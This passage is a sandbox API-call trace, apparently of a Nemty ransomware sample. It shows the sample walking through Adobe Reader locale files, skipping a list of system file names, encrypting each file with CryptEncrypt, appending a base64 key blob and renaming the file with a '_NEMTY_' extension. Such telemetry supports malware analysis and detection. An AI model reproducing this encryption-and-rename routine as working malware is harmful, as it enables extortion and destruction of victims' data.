1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.971] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MakeAccessible.TUR", cAlternateFileName="MAKEAC~1.TUR")) returned 1 [0184.971] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2=".") returned 1 [0184.971] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="..") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="...") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="windows") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="rsa") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="NTDETECT.COM") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="ntldr") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="MSDOS.SYS") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="IO.SYS") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="boot.ini") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="boot.ini") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="ntuser.dat") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="desktop.ini") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="CONFIG.SYS") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="RECYCLER") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="bootmgr") returned 1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="programdata") returned -1 [0184.972] lstrcmpiW (lpString1="MakeAccessible.TUR", lpString2="appdata") returned 1 [0184.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.TUR", lpUsedDefaultChar=0x0) returned 18 [0184.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0184.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.TUR", lpUsedDefaultChar=0x0) returned 18 [0184.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0184.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.TUR", lpUsedDefaultChar=0x0) returned 18 [0184.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.TUR", lpUsedDefaultChar=0x0) returned 18 [0184.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.973] Sleep (dwMilliseconds=0x5) [0184.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e7b570, dwHighDateTime=0x1d561e8)) [0184.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e7b570, dwHighDateTime=0x1d561e8)) [0184.983] GetLastError () returned 0x0 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.983] GetLastError () returned 0x0 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.983] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.983] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="d2DZ7n0y+gmK3K8TUIh4T1YTikqcIQ+FYzPEYp6mattf2rSJ1sMeEcJW/4CShTye\r\n1r+F34Oor3puIoJdpsvCiOSqy0CjkKsGeSLq7kDTSi+X6A85cJIEtxoa9NRSfL6m\r\nOSyKMGAtmamZyZwt/EO+iz0kSlBeVUomsEkM9KM0vLQPjExestDxFJq/CLPxtK/u\r\n7AOKQYI4hFSr7IqphW2pdoaoIR4S85lIvmDIQOhe4Shj0Aumy4LNNkDsTSY4xHGR\r\n3VTkQVnblVh6fThyW3daW+vSWdY1c9Mp2w6UJHdV2dCl48RFQeeMTe4kTltG6JTl\r\nkUV8qGJG80ieAOiK6vg2rg==\r\n", pcchString=0x653e5dc) returned 1 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\MakeAccessible.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\makeaccessible.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.984] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=72704) returned 1 [0184.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11c00) returned 0x6352c48 [0184.984] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.984] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11c00, lpOverlapped=0x0) returned 1 [0184.990] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.990] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11c00, lpOverlapped=0x0) returned 1 [0184.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.991] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=72704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c00 [0184.991] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.991] CloseHandle (hObject=0x2e8) returned 1 [0184.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0184.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0184.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.991] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\MakeAccessible.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\makeaccessible.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\MakeAccessible.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\makeaccessible.tur._nemty_kgobjgd_")) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.992] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.TUR", cAlternateFileName="MULTIM~1.TUR")) returned 1 [0184.992] lstrcmpiW (lpString1="Multimedia.TUR", lpString2=".") returned 1 [0184.992] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="..") returned 1 [0184.992] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="...") returned 1 [0184.992] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="windows") returned -1 [0184.992] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="rsa") returned -1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="NTDETECT.COM") returned -1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="ntldr") returned -1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="MSDOS.SYS") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="IO.SYS") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="boot.ini") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="boot.ini") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="ntuser.dat") returned -1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="desktop.ini") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="CONFIG.SYS") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="RECYCLER") returned -1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="bootmgr") returned 1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="programdata") returned -1 [0184.993] lstrcmpiW (lpString1="Multimedia.TUR", lpString2="appdata") returned 1 [0184.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.TUR", lpUsedDefaultChar=0x0) returned 14 [0184.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.TUR", lpUsedDefaultChar=0x0) returned 14 [0184.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.TUR", lpUsedDefaultChar=0x0) returned 14 [0184.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.TUR", lpUsedDefaultChar=0x0) returned 14 [0184.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.994] Sleep (dwMilliseconds=0x5) [0184.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ea16d0, dwHighDateTime=0x1d561e8)) [0184.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ea16d0, dwHighDateTime=0x1d561e8)) [0184.998] GetLastError () returned 0x0 [0184.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.998] GetLastError () returned 0x0 [0184.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.998] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.999] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.999] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.999] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="M89lC4e34H+vEvaS3pERkLVn8L9HKyT/dRj+qPU7r9VFMZ7wzZRndVPVASU/gay7\r\nqo4YkGVu8s739sCXCBnA1xDhbyXTG9o+1bvqwPv/adfel8ezTZjMrZGOPKT8Vz0K\r\no+LnkPY5YPCVJDnqmPnnvfxzyP2Pg70hbvtrA68vSfA7dvHgiL+ca9gcp8T0F/6b\r\nIfyy8YczxBu7zolYKejbgvikSyWw+zTvHue5R8dUfSLdhKEP0rs1TfpWOnP6bnH5\r\n603k/K4yNyf0cZNr+Ud2koA3M+0Chf7616Yhr5hnLnmVbJii1yAbdcGtP2hdAjzl\r\nD+Uc5zhK2zxD7jXdUeOayQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Multimedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\multimedia.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.999] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=77312) returned 1 [0184.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12e00) returned 0x6352c48 [0184.999] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.999] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12e00, lpOverlapped=0x0) returned 1 [0185.006] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.006] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12e00, lpOverlapped=0x0) returned 1 [0185.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.007] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=77312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e00 [0185.007] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.007] CloseHandle (hObject=0x2e8) returned 1 [0185.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 